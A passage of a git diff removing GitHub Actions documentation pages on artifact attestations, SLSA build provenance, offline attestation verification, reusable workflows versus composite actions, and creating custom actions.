oci://ghcr.io/github/artifact-attestations-helm-charts/policy-controller --version v0.12.0-github10 -``` - -For trust policy options: - -```bash copy -helm show values oci://ghcr.io/github/artifact-attestations-helm-charts/trust-policies --version v0.6.2 -``` - -For more information on the Sigstore Policy Controller, see the [Sigstore Policy Controller documentation](https://docs.sigstore.dev/policy-controller/overview/). diff --git a/content/actions/security-for-github-actions/using-artifact-attestations/index.md b/content/actions/security-for-github-actions/using-artifact-attestations/index.md deleted file mode 100644 index ab7abbfe17a4..000000000000 --- a/content/actions/security-for-github-actions/using-artifact-attestations/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Using artifact attestations -shortTitle: Artifact attestations -intro: Use artifact attestations to establish build provenance for the software you produce and to verify the software you consume. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /using-artifact-attestations-to-establish-provenance-for-builds - - /using-artifact-attestations-and-reusable-workflows-to-achieve-slsa-v1-build-level-3 - - /enforcing-artifact-attestations-with-a-kubernetes-admission-controller - - /verifying-attestations-offline ---- - diff --git a/content/actions/security-for-github-actions/using-artifact-attestations/using-artifact-attestations-and-reusable-workflows-to-achieve-slsa-v1-build-level-3.md b/content/actions/security-for-github-actions/using-artifact-attestations/using-artifact-attestations-and-reusable-workflows-to-achieve-slsa-v1-build-level-3.md deleted file mode 100644 index cfca245e1e85..000000000000 --- a/content/actions/security-for-github-actions/using-artifact-attestations/using-artifact-attestations-and-reusable-workflows-to-achieve-slsa-v1-build-level-3.md +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Using artifact attestations and reusable workflows to achieve SLSA v1 Build Level 3 -shortTitle: Attest with reusable workflows -intro: Building software with reusable workflows and artifact attestations can streamline your supply chain security and help you achieve SLSA v1.0 Build Level 3. -type: quick_start -topics: - - Actions - - Security - - Workflows -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /actions/security-guides/using-artifact-attestations-and-reusable-workflows-to-achieve-slsa-v1-build-level-3 ---- - -## Introduction - -Artifact attestations are a great way to create unfalsifiable provenance and integrity guarantees for the software you build. - -But remember that by itself, artifact attestations provides links, like the build instructions an artifact was built with, which meets SLSA v1.0 Build Level 2. To make an informed risk decision, it's up to you to follow those links and evaluate those build instructions. - -You can take this a step further by requiring builds make use of known, vetted build instructions. A great way to do this is to have your build take place in a reusable workflow that many repositories across your organization share. Reusable workflows can provide isolation between the build process and the calling workflow, to meet SLSA v1.0 Build Level 3. - -Before starting this guide, you should be familiar with: -* Generating artifact attestations. See [AUTOTITLE](/actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds). -* Writing and using reusable workflows. See [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -## Step 1: Configuring your builds - -First, we need to build with both artifact attestations and a reusable workflow. - -### Building with a reusable workflow - -If you aren't already using reusable workflows to build your software, you'll need to take your build steps and move them into a reusable workflow. For more information on how to write and call a reusable workflow, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -### Building with artifact attestations - -The reusable workflow you use to build your software must also generate artifact attestations to establish build provenance. For more information, see [AUTOTITLE](/actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds). - -When you use a reusable workflow to generate artifact attestations, both the calling workflow and the reusable workflow need to have the following permissions. - -```yaml copy -permissions: - attestations: write - contents: read - id-token: write -``` - -If you are building container images, you will also need to include the `packages: write` permission. - -## Step 2: Verifying artifact attestations built with a reusable workflow - -To verify the artifact attestations generated with your builds, you can use [`gh attestation verify`](https://cli.github.com/manual/gh_attestation_verify) from the GitHub CLI. - -The `gh attestation verify` command requires either `--owner` or `--repo` flags to be used with it. These flags do two things. - -* They tell `gh attestation verify` where to fetch the attestation from. This will always be your caller workflow. -* They tell `gh attestation verify` where the workflow that did the signing came from. This will always be the workflow that uses [`attest-build-provenance` action](https://github.com/actions/attest-build-provenance), which may be a reusable workflow. - -You can use optional flags with the `gh attestation verify` command. - -* If your reusable workflow is not in the same repository as the caller workflow, use the `--signer-repo` flag to specify the repository that contains the reusable workflow. -* If you would like to require an artifact attestation to be signed with a specific workflow, use the `--signer-workflow` flag to indicate the workflow file that should be used. - -For example, if your calling workflow is `ORGANIZATION_NAME/REPOSITORY_NAME/.github/workflows/calling.yml` and it uses `REUSABLE_ORGANIZATION_NAME/REUSABLE_REPOSITORY_NAME/.github/workflows/reusable.yml` you could do: - -```bash copy -gh attestation verify -o ORGANIZATION_NAME --signer-repo REUSABLE_ORGANIZATION_NAME/REUSABLE_REPOSITORY_NAME PATH/TO/YOUR/BUILD/ARTIFACT-BINARY -``` - -Or if you want to specify the exact workflow: - -```bash copy -gh attestation verify -o ORGANIZATION_NAME --signer-workflow REUSABLE_ORGANIZATION_NAME/REUSABLE_REPOSITORY_NAME/.github/workflows/reusable.yml PATH/TO/YOUR/BUILD/ARTIFACT-BINARY -``` - -## Conclusion - -You are now building and signing your artifacts in a reusable workflow, which can provide the isolation required by SLSA v1.0 Build Level 3. You can verify artifacts are built with known, vetted build instructions by requiring your artifact was built with a specific workflow, reusable or not. diff --git a/content/actions/security-for-github-actions/using-artifact-attestations/using-artifact-attestations-to-establish-provenance-for-builds.md b/content/actions/security-for-github-actions/using-artifact-attestations/using-artifact-attestations-to-establish-provenance-for-builds.md deleted file mode 100644 index 7d7778cb3d7c..000000000000 --- a/content/actions/security-for-github-actions/using-artifact-attestations/using-artifact-attestations-to-establish-provenance-for-builds.md +++ /dev/null @@ -1,222 +0,0 @@ ---- -title: Using artifact attestations to establish provenance for builds -intro: Artifact attestations enable you to increase the supply chain security of your builds by establishing where and how your software was built. -product: '{% data reusables.gated-features.attestations %}' -versions: - fpt: '*' - ghec: '*' -shortTitle: Artifact attestations -redirect_from: - - /actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds ---- - -## About artifact attestations - -{% data reusables.actions.about-artifact-attestations %} - -### About SLSA levels for artifact attestations - -The SLSA framework is an industry standard used to evaluate supply chain security. It is organized into levels. Each level represents an increasing degree of security and trustworthiness for a software supply chain. Artifact attestations by itself provides SLSA v1.0 Build Level 2. - -This provides a link between your artifact and its build instructions, but you can take this a step further by requiring builds make use of known, vetted build instructions. A great way to do this is to have your build take place in a reusable workflow that many repositories across your organization share. Reusable workflows can provide isolation between the build process and the calling workflow, to meet SLSA v1.0 Build Level 3. For more information, see [AUTOTITLE](/actions/security-guides/using-artifact-attestations-and-reusable-workflows-to-achieve-slsa-v1-build-level-3). - -For more information on SLSA levels, see [SLSA Security Levels](https://slsa.dev/spec/v1.0/levels). - -### About using Sigstore for artifact attestations - -To generate artifact attestations, {% data variables.product.prodname_dotcom %} uses Sigstore, which is an open source project that offers a comprehensive solution for signing and verifying software artifacts via attestations. - -**Public repositories** that generate artifact attestations use the [Sigstore Public Good Instance](https://openssf.org/blog/2023/10/03/running-sigstore-as-a-managed-service-a-tour-of-sigstores-public-good-instance/). A copy of the generated Sigstore bundle is stored with GitHub and is also written to an immutable transparency log that is publicly readable on the internet. - -**Private repositories** that generate artifact attestations use GitHub's Sigstore instance. GitHub's Sigstore instance uses the same codebase as the Sigstore Public Good Instance, but it does not have a transparency log and only federates with {% data variables.product.prodname_actions %}. - -### What to attest - -Generating attestations alone doesn't provide any security benefit, the attestations must be verified for the benefit to be realized. Here are some guidelines for how to think about what to sign and how often: - -You should sign: - -* Software you are releasing that you expect people to run `gh attestation verify ...` on. -* Binaries people will run, packages people will download, or manifests that include hashes of detailed contents. - -You should **not** sign: - -* Frequent builds that are just for automated testing. -* Individual files like source code, documentation files, or embedded images. - -### About verifying artifact attestations - -If you consume software that publishes artifact attestations, you can use the {% data variables.product.prodname_cli %} to verify those attestations. Because the attestations give you information about where and how software was built, you can use that information to create and enforce security policies that elevate your supply chain security. For more information, see [Verifying artifact attestations with the {% data variables.product.prodname_cli %}](#verifying-artifact-attestations-with-the-github-cli). - ->[!WARNING]It is important to remember that artifact attestations are _not_ a guarantee that an artifact is secure. Instead, artifact attestations link you to the source code and the build instructions that produced them. It is up to you to define your policy criteria, evaluate that policy by evaluating the content, and make an informed risk decision when you are consuming software. - -## Generating artifact attestations for your builds - -You can use {% data variables.product.prodname_actions %} to generate artifact attestations that establish build provenance for artifacts such as binaries and container images. - -To generate an artifact attestation, you must: - -* Ensure you have the appropriate permissions configured in your workflow. -* Include a step in your workflow that uses the [`attest-build-provenance` action](https://github.com/actions/attest-build-provenance). - -When you run your updated workflows, they will build your artifacts and generate an artifact attestation that establishes build provenance. You can view attestations in your repository's **Actions** tab. For more information, see the [`attest-build-provenance`](https://github.com/actions/attest-build-provenance) repository. - -### Generating build provenance for binaries - -1. In the workflow that builds the binary you would like to attest, add the following permissions. - - ```yaml - permissions: - id-token: write - contents: read - attestations: write - ``` - -1. After the step where the binary has been built, add the following step. - - ```yaml - - name: Generate artifact attestation - uses: actions/attest-build-provenance@v2 - with: - subject-path: 'PATH/TO/ARTIFACT' - ``` - - The value of the `subject-path` parameter should be set to the path to the binary you want to attest. - -### Generating build provenance for container images - -1. In the workflow that builds the container image you would like to attest, add the following permissions. - - ```yaml - permissions: - id-token: write - contents: read - attestations: write - packages: write - ``` - -1. After the step where the image has been built, add the following step. - - ```yaml - - name: Generate artifact attestation - uses: actions/attest-build-provenance@v2 - with: - subject-name: {% raw %}${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}{% endraw %} - subject-digest: 'sha256:fedcba0...' - push-to-registry: true - ``` - - The value of the `subject-name` parameter should specify the fully-qualified image name. For example, `ghcr.io/user/app` or `acme.azurecr.io/user/app`. Do not include a tag as part of the image name. - - The value of the `subject-digest` parameter should be set to the SHA256 digest of the subject for the attestation, in the form `sha256:HEX_DIGEST`. If your workflow uses `docker/build-push-action`, you can use the [`digest`](https://github.com/docker/build-push-action?tab=readme-ov-file#outputs) output from that step to supply the value. For more information on using outputs, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idoutputs). - -## Generating an attestation for a software bill of materials (SBOM) - -You can generate signed SBOM attestations for workflow artifacts. - -To generate an attestation for an SBOM, you must: - -* Ensure you have the appropriate permissions configured in your workflow. -* Create an SBOM for your artifact. For more information, see [`anchore-sbom-action`](https://github.com/marketplace/actions/anchore-sbom-action) in the {% data variables.product.prodname_marketplace %}. -* Include a step in your workflow that uses the [`attest-sbom` action](https://github.com/actions/attest-sbom). - -When you run your updated workflows, they will build your artifacts and generate an SBOM attestation. You can view attestations in your repository's **Actions** tab. For more information, see the [`attest-sbom` action](https://github.com/actions/attest-sbom) repository. - -### Generating an SBOM attestation for binaries - -1. In the workflow that builds the binary you would like to attest, add the following permissions. - - ```yaml - permissions: - id-token: write - contents: read - attestations: write - ``` - -1. After the step where the binary has been built, add the following step. - - ```yaml - - name: Generate SBOM attestation - uses: actions/attest-sbom@v1 - with: - subject-path: 'PATH/TO/ARTIFACT' - sbom-path: 'PATH/TO/SBOM' - ``` - - The value of the `subject-path` parameter should be set to the path of the binary the SBOM describes. The value of the `sbom-path` parameter should be set to the path of the SBOM file you generated. - -### Generating an SBOM attestation for container images - -1. In the workflow that builds the container image you would like to attest, add the following permissions. - - ```yaml - permissions: - id-token: write - contents: read - attestations: write - packages: write - ``` - -1. After the step where the image has been built, add the following step. - - ```yaml - - name: Generate SBOM attestation - uses: actions/attest-sbom@v1 - with: - subject-name: {% raw %}${{ env.REGISTRY }}/PATH/TO/IMAGE{% endraw %} - subject-digest: 'sha256:fedcba0...' - sbom-path: 'sbom.json' - push-to-registry: true - ``` - - The value of the `subject-name` parameter should specify the fully-qualified image name. For example, `ghcr.io/user/app` or `acme.azurecr.io/user/app`. Do not include a tag as part of the image name. - - The value of the `subject-digest` parameter should be set to the SHA256 digest of the subject for the attestation, in the form `sha256:HEX_DIGEST`. If your workflow uses `docker/build-push-action`, you can use the [`digest`](https://github.com/docker/build-push-action?tab=readme-ov-file#outputs) output from that step to supply the value. For more information on using outputs, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idoutputs). - - The value of the `sbom-path` parameter should be set to the path to the JSON-formatted SBOM file you want to attest. - -## Verifying artifact attestations with the {% data variables.product.prodname_cli %} - -You can validate artifact attestations for binaries and container images and validate SBOM attestations using the {% data variables.product.prodname_cli %}. For more information, see the [`attestation`](https://cli.github.com/manual/gh_attestation) section of the {% data variables.product.prodname_cli %} manual. - ->[!NOTE]These commands assume you are in an online environment. If you are in an offline or air-gapped environment, see [AUTOTITLE](/actions/security-guides/verifying-attestations-offline). - -### Verifying an artifact attestation for binaries - -To verify artifact attestations for **binaries**, use the following {% data variables.product.prodname_cli %} command. - -```bash copy -gh attestation verify PATH/TO/YOUR/BUILD/ARTIFACT-BINARY -R ORGANIZATION_NAME/REPOSITORY_NAME -``` - -### Verifying an artifact attestation for container images - -To verify artifact attestations for **container images**, you must provide the image's FQDN prefixed with `oci://` instead of the path to a binary. You can use the following {% data variables.product.prodname_cli %} command. - -```bash copy -docker login ghcr.io - -gh attestation verify oci://ghcr.io/ORGANIZATION_NAME/IMAGE_NAME:test -R ORGANIZATION_NAME/REPOSITORY_NAME -``` - -### Verifying an attestation for SBOMs - -To verify SBOM attestations, you have to provide the `--predicate-type` flag to reference a non-default predicate. For more information, see [Vetted predicates](https://github.com/in-toto/attestation/tree/main/spec/predicates#vetted-predicates) in the `in-toto/attestation` repository. - -For example, the [`attest-sbom` action](https://github.com/actions/attest-sbom) currently supports either SPDX or CycloneDX SBOM predicates. To verify an SBOM attestation in the SPDX format, you can use the following {% data variables.product.prodname_cli %} command. - -```bash copy -gh attestation verify PATH/TO/YOUR/BUILD/ARTIFACT-BINARY \ - -R ORGANIZATION_NAME/REPOSITORY_NAME \ - --predicate-type https://spdx.dev/Document/v2.3 -``` - -To view more information on the attestation, reference the `--format json` flag. This can be especially helpful when reviewing SBOM attestations. - -```bash copy -gh attestation verify PATH/TO/YOUR/BUILD/ARTIFACT-BINARY \ - -R ORGANIZATION_NAME/REPOSITORY_NAME \ - --predicate-type https://spdx.dev/Document/v2.3 \ - --format json \ - --jq '.[].verificationResult.statement.predicate' -``` diff --git a/content/actions/security-for-github-actions/using-artifact-attestations/verifying-attestations-offline.md b/content/actions/security-for-github-actions/using-artifact-attestations/verifying-attestations-offline.md deleted file mode 100644 index 2fcd6d8361dd..000000000000 --- a/content/actions/security-for-github-actions/using-artifact-attestations/verifying-attestations-offline.md +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Verifying attestations offline -shortTitle: Verifying attestations offline -intro: Artifact attestations can be verified without an internet connection. -type: quick_start -topics: - - Actions - - Security - - Workflows -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /actions/security-guides/verifying-attestations-offline ---- - -## Introduction - -Artifact attestations are a great way to create unfalsifiable provenance and integrity guarantees for the software you build. - -By default, attestations are stored in GitHub's attestation API, which `gh attestation verify` will query when you go to verify your attestation. That command will also contact GitHub's servers to check for updated key material to use to verify the attestation. - -This command can work without internet connectivity, but you need to supply the attestation bundle and the key material in the trusted root manually. - -Before starting this guide, you should be building with generating artifact attestations. See [AUTOTITLE](/actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds). - -## Step 1: Download attestation bundle - -First, get the attestation bundle from the attestation API. - -You can do so with the following command from a machine that is online: - -```bash copy -gh attestation download PATH/TO/YOUR/BUILD/ARTIFACT-BINARY -R ORGANIZATION_NAME/REPOSITORY_NAME -``` - -Here is example output from that command: - -```bash -Wrote attestations to file sha256:ae57936def59bc4c75edd3a837d89bcefc6d3a5e31d55a6fa7a71624f92c3c3b.jsonl. -Any previous content has been overwritten - -The trusted metadata is now available at sha256:ae57936def59bc4c75edd3a837d89bcefc6d3a5e31d55a6fa7a71624f92c3c3b.jsonl -``` - -## Step 2: Download trusted roots - -Next, get the key material from the trusted roots. - -Artifact attestations uses the Sigstore public good instance for public repositories, and GitHub's Sigstore instance for private repositories. You can use one command to get both trusted roots: - -```bash copy -gh attestation trusted-root > trusted_root.jsonl -``` - -### Updating trusted root information in an offline environment - -It's best practice to generate a new `trusted_root.jsonl` file any time you are importing new signed material into your offline environment. - -The key material in `trusted_root.jsonl` does not have a built-in expiration date, so anything signed before you generate the trusted root file will continue to successfully verify. Anything signed after the file is generated will verify until that Sigstore instance rotates its key material, which typically happens a few times per year. You will not know if key material has been revoked since you last generated the trusted root file. - -## Step 3: Perform offline verification - -Now, you are ready to verify the artifact offline. - -You should import into your offline environment: -* {% data variables.product.prodname_cli %} -* Your artifact -* The bundle file -* The trusted root file - -You can then perform offline verification with the following command: - -```bash copy -gh attestation verify PATH/TO/YOUR/BUILD/ARTIFACT-BINARY -R ORGANIZATION_NAME/REPOSITORY_NAME --bundle sha256:ae57936def59bc4c75edd3a837d89bcefc6d3a5e31d55a6fa7a71624f92c3c3b.jsonl --custom-trusted-root trusted_root.jsonl -``` - -## Conclusion - -You are now verifying artifact attestations in an offline environment. We recommend importing a new trusted root whenever you are introducing new signed artifacts to your offline environment. diff --git a/content/actions/sharing-automations/avoiding-duplication.md b/content/actions/sharing-automations/avoiding-duplication.md deleted file mode 100644 index 74b2026f5e05..000000000000 --- a/content/actions/sharing-automations/avoiding-duplication.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Avoiding duplication -shortTitle: Avoid duplication -intro: You can use reusable workflows or composite actions to avoid duplicating the content of workflows. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Workflows -redirect_from: - - /actions/using-workflows/avoiding-duplication ---- - -## About reusable workflows and composite actions - -Reusable workflows and composite actions are two ways to avoid duplicating the content of workflows. - -**Reusable workflows** allow you to reuse an entire workflow, including all of its jobs and steps. This is particularly useful when you have a complete CI/CD process that you want to use across multiple repositories. Reusable workflows can be centrally maintained, in one location, but used in many repositories across your organization. - -**Composite actions** allow you to combine multiple steps into a single action. You can then run this bundle of steps as a single step within a workflow. This is useful if you have a sequence of steps that will be used in more than one workflow. Composite actions allow you refactor long YAML workflow files into much smaller files and avoid copying and pasting between workflow files. - -Reusable workflows and composite actions solve similar problems, but have a few important differences. Most of the time you can use either solution. But some of the time, you’ll need to use one or the other, as described later in this article. - -For details of how to create and use reusable workflows and composite actions, see [AUTOTITLE](/actions/using-workflows/reusing-workflows) and [AUTOTITLE](/actions/creating-actions/creating-a-composite-action). - -## Comparison of reusable workflows and composite actions - -* **Workflow jobs** - Composite actions contain a series of steps, that are run as a single step within the caller workflow. Unlike reusable workflows, they cannot contain jobs. -* **Logging** - When a composite action runs, the log will show just the step in the caller workflow that ran the composite action, not the individual steps within the composite action. With reusable workflows, every job and step is logged separately. -* **Specifying runners** - Reusable workflows contain one or more jobs. As with all workflow jobs, the jobs in a reusable workflow specify the type of machine on which the job will run. Therefore, if the steps must be run on a type of machine that might be different from the machine chosen for the calling workflow job, then you should use a reusable workflow, not a composite action. -* **Passing output to steps** - A composite action is run as a step within a workflow job, and you can have multiple steps before or after the step that runs the composite action. Reusable workflows are called directly within a job, and not from within a job step. You can't add steps to a job after calling a reusable workflow, so you can't use `GITHUB_ENV` to pass values to subsequent job steps in the caller workflow. - -### Key differences between reusable workflows and composite actions - -| Reusable workflows | Composite actions | -| ------------------ | ----------------- | -| A YAML file, very similar to any standard workflow file | An action containing a bundle of workflow steps | -| Each reusable workflow is a single file in the `.github/workflows` directory of a repository | Each composite action is a separate repository, or a directory, containing an `action.yml` file and, optionally, other files | -| Called by referencing a specific YAML file | Called by referencing a repository or directory in which the action is defined | -| Called directly within a job, not from a step | Run as a step within a job | -| Can contain multiple jobs | Does not contain jobs | -| Each step is logged in real-time | Logged as one step even if it contains multiple steps | -| Can connect a maximum of four levels of workflows | Can be nested to have up to 10 composite actions in one workflow | -| Can use secrets | Cannot use secrets | diff --git a/content/actions/sharing-automations/creating-actions/about-custom-actions.md b/content/actions/sharing-automations/creating-actions/about-custom-actions.md deleted file mode 100644 index 44da7ba0208e..000000000000 --- a/content/actions/sharing-automations/creating-actions/about-custom-actions.md +++ /dev/null @@ -1,180 +0,0 @@ ---- -title: About custom actions -intro: 'Actions are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community.' -redirect_from: - - /articles/about-actions - - /github/automating-your-workflow-with-github-actions/about-actions - - /actions/automating-your-workflow-with-github-actions/about-actions - - /actions/building-actions/about-actions - - /actions/creating-actions/about-actions - - /actions/creating-actions/about-custom-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Action development - - Fundamentals ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About custom actions - -You can create actions by writing custom code that interacts with your repository in any way you'd like, including integrating with {% data variables.product.prodname_dotcom %}'s APIs and any publicly available third-party API. For example, an action can publish npm modules, send SMS alerts when urgent issues are created, or deploy production-ready code. - -{% ifversion fpt or ghec %} -You can write your own actions to use in your workflow or share the actions you build with the {% data variables.product.prodname_dotcom %} community. To share actions you've built with everyone, your repository must be public. {% ifversion ghec %}To share actions only within your enterprise, your repository must be internal.{% endif %} -{% endif %} - -Actions can run directly on a machine or in a Docker container. You can define an action's inputs, outputs, and environment variables. - -## Types of actions - -You can build Docker container, JavaScript, and composite actions. Actions require a metadata file to define the inputs, outputs and main entrypoint for your action. The metadata filename must be `action.yml`. For more information, see [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions). - -{% rowheaders %} - -| Type | Linux | macOS | Windows | -| ---- | ----- | ----- | -------- | -| Docker container | {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | {% octicon "x" aria-label="Not supported" %} | -| JavaScript | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -| Composite Actions | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Docker container actions - -Docker containers package the environment with the {% data variables.product.prodname_actions %} code. This creates a more consistent and reliable unit of work because the consumer of the action does not need to worry about the tools or dependencies. - -A Docker container allows you to use specific versions of an operating system, dependencies, tools, and code. For actions that must run in a specific environment configuration, Docker is an ideal option because you can customize the operating system and tools. Because of the latency to build and retrieve the container, Docker container actions are slower than JavaScript actions. - -Docker container actions can only execute on runners with a Linux operating system. {% data reusables.actions.self-hosted-runner-reqs-docker %} - -### JavaScript actions - -JavaScript actions can run directly on a runner machine, and separate the action code from the environment used to run the code. Using a JavaScript action simplifies the action code and executes faster than a Docker container action. - -{% data reusables.actions.pure-javascript %} - -If you're developing a Node.js project, the {% data variables.product.prodname_actions %} Toolkit provides packages that you can use in your project to speed up development. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository. - -### Composite Actions - -A _composite_ action allows you to combine multiple workflow steps within one action. For example, you can use this feature to bundle together multiple run commands into an action, and then have a workflow that executes the bundled commands as a single step using that action. To see an example, check out [AUTOTITLE](/actions/creating-actions/creating-a-composite-action). - -## Choosing a location for your action - -If you're developing an action for other people to use, we recommend keeping the action in its own repository instead of bundling it with other application code. This allows you to version, track, and release the action just like any other software. - -{% ifversion fpt or ghec %} -Storing an action in its own repository makes it easier for the {% data variables.product.prodname_dotcom %} community to discover the action, narrows the scope of the code base for developers fixing issues and extending the action, and decouples the action's versioning from the versioning of other application code. -{% endif %} - -{% data reusables.actions.internal-actions-summary %} - -{% ifversion fpt or ghec %}If you're building an action that you don't plan to make available to others, you {% else %} You{% endif %} can store the action's files in any location in your repository. If you plan to combine action, workflow, and application code in a single repository, we recommend storing actions in the `.github` directory. For example, `.github/actions/action-a` and `.github/actions/action-b`. - -## Ensuring compatibility with other platforms - -Many people access {% data variables.product.github %} at a domain other than {% data variables.product.prodname_dotcom_the_website %}, such as {% data variables.enterprise.data_residency_site %} or a custom domain for {% data variables.product.prodname_ghe_server %}. - -To ensure that your action is compatible with other platforms, do not use any hard-coded references to API URLs such as `https://api.github.com`. Instead, you can: - -* Use environment variables (see [AUTOTITLE](/actions/learn-github-actions/variables#default-environment-variables)): - - * For the REST API, use the `GITHUB_API_URL` environment variable. - * For GraphQL, use the `GITHUB_GRAPHQL_URL` environment variable. - -* Use a toolkit such as [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github), which can automatically set the correct URLs. - -## Using release management for actions - -This section explains how you can use release management to distribute updates to your actions in a predictable way. - -### Good practices for release management - -If you're developing an action for other people to use, we recommend using release management to control how you distribute updates. Users can expect an action's patch version to include necessary critical fixes and security patches, while still remaining compatible with their existing workflows. You should consider releasing a new major version whenever your changes affect compatibility. - -Under this release management approach, users should not be referencing an action's default branch, as it's likely to contain the latest code and consequently might be unstable. Instead, you can recommend that your users specify a major version when using your action, and only direct them to a more specific version if they encounter issues. - -To use a specific action version, users can configure their {% data variables.product.prodname_actions %} workflow to target a tag, a commit's SHA, or a branch named for a release. - -### Using tags for release management - -We recommend using tags for actions release management. Using this approach, your users can easily distinguish between major and minor versions: - -* Create and validate a release on a release branch (such as `release/v1`) before creating the release tag (for example, `v1.0.2`). -* Create a release using semantic versioning. For more information, see [AUTOTITLE](/repositories/releasing-projects-on-github/managing-releases-in-a-repository). -* Move the major version tag (such as `v1`, `v2`) to point to the Git ref of the current release. For more information, see [Git basics - tagging](https://git-scm.com/book/en/v2/Git-Basics-Tagging). -* Introduce a new major version tag (`v2`) for changes that will break existing workflows. For example, changing an action's inputs would be a breaking change. -* Major versions can be initially released with a `beta` tag to indicate their status, for example, `v2-beta`. The `-beta` tag can then be removed when ready. - -This example demonstrates how a user can reference a major release tag: - -```yaml -steps: - - uses: actions/javascript-action@v1 -``` - -This example demonstrates how a user can reference a specific patch release tag: - -```yaml -steps: - - uses: actions/javascript-action@v1.0.1 -``` - -### Using branches for release management - -If you prefer to use branch names for release management, this example demonstrates how to reference a named branch: - -```yaml -steps: - - uses: actions/javascript-action@v1-beta -``` - -### Using a commit's SHA for release management - -Each Git commit receives a calculated SHA value, which is unique and immutable. Your action's users might prefer to rely on a commit's SHA value, as this approach can be more reliable than specifying a tag, which could be deleted or moved. However, this means that users will not receive further updates made to the action. You must use a commit's full SHA value, and not an abbreviated value. - -```yaml -steps: - - uses: actions/javascript-action@a824008085750b8e136effc585c3cd6082bd575f -``` - -## Creating a README file for your action - -We recommend creating a README file to help people learn how to use your action. You can include this information in your `README.md`: - -* A detailed description of what the action does -* Required input and output arguments -* Optional input and output arguments -* Secrets the action uses -* Environment variables the action uses -* An example of how to use your action in a workflow - -## Comparing {% data variables.product.prodname_actions %} to {% data variables.product.prodname_github_apps %} - -{% data variables.product.prodname_marketplace %} offers tools to improve your workflow. Understanding the differences and the benefits of each tool will allow you to select the best tool for your job. For more information about building apps, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-creating-github-apps). - -### Strengths of GitHub Actions and GitHub Apps - -While both {% data variables.product.prodname_actions %} and {% data variables.product.prodname_github_apps %} provide ways to build automation and workflow tools, they each have strengths that make them useful in different ways. - -{% data variables.product.prodname_github_apps %}: -* Run persistently and can react to events quickly. -* Work great when persistent data is needed. -* Work best with API requests that aren't time consuming. -* Run on a server or compute infrastructure that you provide. - -{% data variables.product.prodname_actions %}: -* Provide automation that can perform continuous integration and continuous deployment. -* Can run directly on runner machines or in Docker containers. -* Can include access to a clone of your repository, enabling deployment and publishing tools, code formatters, and command line tools to access your code. -* Don't require you to deploy code or serve an app. -* Have a simple interface to create and use secrets, which enables actions to interact with third-party services without needing to store the credentials of the person using the action. - -## Further reading - -* [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions) diff --git a/content/actions/sharing-automations/creating-actions/creating-a-composite-action.md b/content/actions/sharing-automations/creating-actions/creating-a-composite-action.md deleted file mode 100644 index c764bdced8db..000000000000 --- a/content/actions/sharing-automations/creating-actions/creating-a-composite-action.md +++ /dev/null @@ -1,255 +0,0 @@ ---- -title: Creating a composite action -shortTitle: Create a composite action -intro: 'In this guide, you''ll learn how to build a composite action.' -redirect_from: - - /actions/creating-actions/creating-a-composite-run-steps-action - - /actions/creating-actions/creating-a-composite-action -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -defaultPlatform: linux -topics: - - Action development ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -In this guide, you'll learn about the basic components needed to create and use a packaged composite action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" and then "Goodbye", or if you provide a custom name, it prints "Hello [who-to-greet]" and then "Goodbye". The action also maps a random number to the `random-number` output variable, and runs a script named `goodbye.sh`. - -Once you complete this project, you should understand how to build your own composite action and test it in a workflow. - -{% data reusables.actions.context-injection-warning %} - -### Composite actions and reusable workflows - -Composite actions allow you to collect a series of workflow job steps into a single action which you can then run as a single job step in multiple workflows. Reusable workflows provide another way of avoiding duplication, by allowing you to run a complete workflow from within other workflows. For more information, see [AUTOTITLE](/actions/using-workflows/avoiding-duplication). - -## Prerequisites -> -> [!NOTE] -> This example explains how to create a composite action within a separate repository. However, it is possible to create a composite action within the same repository. For more information, see [AUTOTITLE](/actions/creating-actions/creating-a-composite-action#creating-a-composite-action-within-the-same-repository). - -Before you begin, you'll create a repository on {% data variables.product.github %}. - -1. Create a new public repository on {% data variables.product.github %}. You can choose any repository name, or use the following `hello-world-composite-action` example. You can add these files after your project has been pushed to {% data variables.product.github %}. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository). - -1. Clone your repository to your computer. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository). - -1. From your terminal, change directories into your new repository. - - ```shell copy - cd hello-world-composite-action - ``` - -1. In the `hello-world-composite-action` repository, create a new file called `goodbye.sh` with example code: - - ```shell copy - echo "echo Goodbye" > goodbye.sh - ``` - -1. From your terminal, make `goodbye.sh` executable. - {% linux %} - - {% data 